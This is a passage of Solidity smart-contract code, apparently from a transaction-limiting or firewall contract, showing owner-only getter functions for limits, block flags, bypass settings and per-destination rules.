limitsRule[_contractId].globalLimit) { return false; } } return true; } function getLimits(address _contractId) public view onlyContractOwner returns (uint, uint){ return (limitsRule[_contractId].perAddressLimit, limitsRule[_contractId].globalLimit); } function getLastSuccessPerContract(address _contractId) public view onlyContractOwner returns (uint){ return (lastSuccessPerContract[_contractId]); } function getLastSuccessPerContractPerDestination(address _contractId, address _destination) public view onlyContractOwner returns (uint){ return (lastSuccessPerContractPerDestination[_contractId][_destination]); } function getBlockAll(address _contractId) public view onlyContractOwner returns (bool){ return (blockAll[_contractId]); } function getEnforceBypass(address _contractId) public view onlyContractOwner returns (bool){ return (enforceBypass[_contractId]); } function getCustomerRules(address _contractId, address _destination, address _tokenAddress) public view onlyContractOwner returns (uint256){ return (customerRules[_contractId][_destination][_tokenAddress]); } }
1
3,221